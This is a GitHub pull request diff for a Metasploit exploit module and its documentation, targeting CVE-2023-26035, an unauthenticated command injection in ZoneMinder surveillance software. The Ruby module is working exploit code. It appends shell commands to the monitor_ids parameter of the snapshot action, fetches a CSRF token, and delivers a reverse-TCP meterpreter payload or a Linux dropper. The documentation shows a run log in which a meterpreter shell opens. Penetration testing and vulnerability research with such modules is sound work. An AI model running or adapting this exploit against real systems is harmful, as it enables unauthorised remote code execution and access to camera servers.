Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Zoneminder snapshot #18434

Merged
merged 15 commits into from
Nov 10, 2023
Merged
Show file tree
Hide file tree
Changes from 2 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
71 changes: 71 additions & 0 deletions documentation/modules/exploit/unix/webapp/zoneminder_snapshots.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,71 @@
## Description

This module exploits a command injection that leads to a remote execution in ZoneMinder surveillance software versions before 1.36.33 and before 1.37.33

More about the vulnerability detail: [2023-26035](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-26035).

The module will automatically use `cmd/unix/python/meterpreter/reverse_tcp` payload.

The module will check if the target is vulnerable, by sending a sleep command.


## Vulnerable Application

[Zoneminder](https://zoneminder.com/) is a free and open-source software defined telecommunications stack for real-time communication, WebRTC, telecommunications, video, and Voice over Internet Protocol.

This module has been tested successfully on Zoneminder versions:

* 1.36.31~64bit on Debian 11

### Source and Installers

* [Source Code Repository](https://github.com/ZoneMinder/zoneminder/tree/1.36.31)
* [Installers](https://zoneminder.readthedocs.io/en/stable/installationguide/index.html)

**The 3rd party debian-repository has packages for the vulnerable versions(for example zoneminder=1.36.31-bullseye1)**


whotwagner marked this conversation as resolved.
Show resolved Hide resolved
## Verification Steps
Example steps in this format (is also in the PR):

1. Do: `use exploit/unix/webapp/zoneminder_snapshots`
2. Do: `set RHOSTS [ips]`
3. Do: `set LHOST [lhost]`
4. Do: `run`
5. You should get a shell.

## Options

### TARGETURI

Remote web path to the zoneminder installation (default: /zm/)

## Scenarios

In this scenario the zoneminder-server has the IP address 192.42.0.254. The IP address of the metasploit host is
192.42.1.188.

### Zoneminder 1.36.31-bullseye1

The following demo shows how to use the exploit with minimal settings:

```
msf6 exploit(unix/webapp/zoneminder_snapshots) > set RHOSTS 192.42.0.254
RHOSTS => 192.42.0.254
msf6 exploit(unix/webapp/zoneminder_snapshots) > set LHOST 192.42.1.188
LHOST => 192.42.1.188
msf6 exploit(unix/webapp/zoneminder_snapshots) > run

[*] Started reverse TCP handler on 192.42.1.188:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Fetching CSRF Token
[+] Got Token
[*] Executing Unix Command for cmd/unix/python/meterpreter/reverse_tcp
[*] Sending payload
[*] Sending stage (24772 bytes) to 192.42.0.254
[*] Meterpreter session 1 opened (192.42.1.188:4444 -> 192.42.0.254:44934) at 2023-10-06 16:55:49 +0000
[+] Payload sent

meterpreter >
```
169 changes: 169 additions & 0 deletions modules/exploits/unix/webapp/zoneminder_snapshots.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,169 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
#
# Copy it to: .msf4/modules/exploits/unix/webapp/zoneminder_snapshots.rb
whotwagner marked this conversation as resolved.
Show resolved Hide resolved
#
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
prepend Exploit::Remote::AutoCheck
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'ZoneMinder Snapshots Command Injection',
'Description' => %q{
This module exploits an unauthenticated command injection
in zoneminder that can be exploited by appending a command
to the "create monitor ids[]"-action of the snapshot view.
Affected versions: < 1.36.33, < 1.37.33
},
'License' => MSF_LICENSE,
'Author' => [
'UnblvR', # Discovery
'whotwagner' # Metasploit Module
],
'References' => [
[ 'CVE', '2023-26035' ],
[ 'URL', 'https://github.com/ZoneMinder/zoneminder/security/advisories/GHSA-72rg-h4vf-29gr']
],
'Privileged' => false,
'Platform' => 'linux',
whotwagner marked this conversation as resolved.
Show resolved Hide resolved
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
whotwagner marked this conversation as resolved.
Show resolved Hide resolved
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'
bwatters-r7 marked this conversation as resolved.
Show resolved Hide resolved
}
}
],
[
'Linux (Dropper)',
{
'Platform' => 'linux',
'Arch' => [ARCH_X64],
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' },
'Type' => :linux_dropper
}
],
],
'Payload' => { 'BadChars' => "\x00" },
'CmdStagerFlavor' => [ 'printf' ],
whotwagner marked this conversation as resolved.
Show resolved Hide resolved
'DefaultTarget' => 0,
'DisclosureDate' => '2023-02-24',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'The ZoneMinder path', '/zm/'])
])
end

def check
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/index.php'),
whotwagner marked this conversation as resolved.
Show resolved Hide resolved
'method' => 'GET'
)
return Exploit::CheckCode::Unknown('No response from the web service') if res.nil?
return Exploit::CheckCode::Safe("Check TARGETURI - unexpected HTTP response code: #{res.code}") if res.code != 200

if res.body =~ /ZoneMinder/
whotwagner marked this conversation as resolved.
Show resolved Hide resolved
csrf_magic = get_csrf_magic(res)
# This check executes a sleep-command and checks the response-time
sleep_time = 5
data = "view=snapshot&action=create&monitor_ids[0][Id]=0;sleep #{sleep_time}"
data += "&__csrf_magic=#{csrf_magic}" if csrf_magic
start = Time.now
send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/index.php'),
'method' => 'POST',
'data' => data.to_s,
'keep_cookies' => true
)
finish = Time.now
diff = finish - start
if diff > sleep_time
whotwagner marked this conversation as resolved.
Show resolved Hide resolved
return Exploit::CheckCode::Appears
else
print_good(diff.to_s)
whotwagner marked this conversation as resolved.
Show resolved Hide resolved
end
else
return Exploit::CheckCode::Safe('Target is not a ZoneMinder web server')
end

Exploit::CheckCode::Safe('Target is not vulnerable')
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Unknown('Could not connect to the web service')
whotwagner marked this conversation as resolved.
Show resolved Hide resolved
end

def execute_command(cmd, _opts = {})
command = Rex::Text.uri_encode(cmd)
print_status('Sending payload')
data = "view=snapshot&action=create&monitor_ids[0][Id]=;#{command}"
data += "&__csrf_magic=#{@csrf_magic}" if @csrf_magic
send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/index.php'),
whotwagner marked this conversation as resolved.
Show resolved Hide resolved
'method' => 'POST',
'data' => data.to_s,
'keep_cookies' => true,
'encode_params' => true
whotwagner marked this conversation as resolved.
Show resolved Hide resolved
)
print_good('Payload sent')
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Connection failed")
whotwagner marked this conversation as resolved.
Show resolved Hide resolved
end

def exploit
# get magic csrf-token
print_status('Fetching CSRF Token')
begin
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/index.php'),
'method' => 'GET'
)
if res && res.code == 200
# parse token
@csrf_magic = get_csrf_magic(res)
unless @csrf_magic =~ /^key:[a-f0-9]{40},\d+/
fail_with(Failure::UnexpectedReply, 'Unable to parse token.')
end
whotwagner marked this conversation as resolved.
Show resolved Hide resolved
else
fail_with(Failure::UnexpectedReply, 'Unable to fetch token.')
end
print_good('Got Token')
whotwagner marked this conversation as resolved.
Show resolved Hide resolved
# send payload
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
rescue ::Rex::ConnectionError
whotwagner marked this conversation as resolved.
Show resolved Hide resolved
fail_with(Failure::Unreachable, "#{peer} - Connection failed")
end
end

private

def get_csrf_magic(res)
return if res.nil?

res.get_html_document.at('//input[@name="__csrf_magic"]/@value')&.text
end
end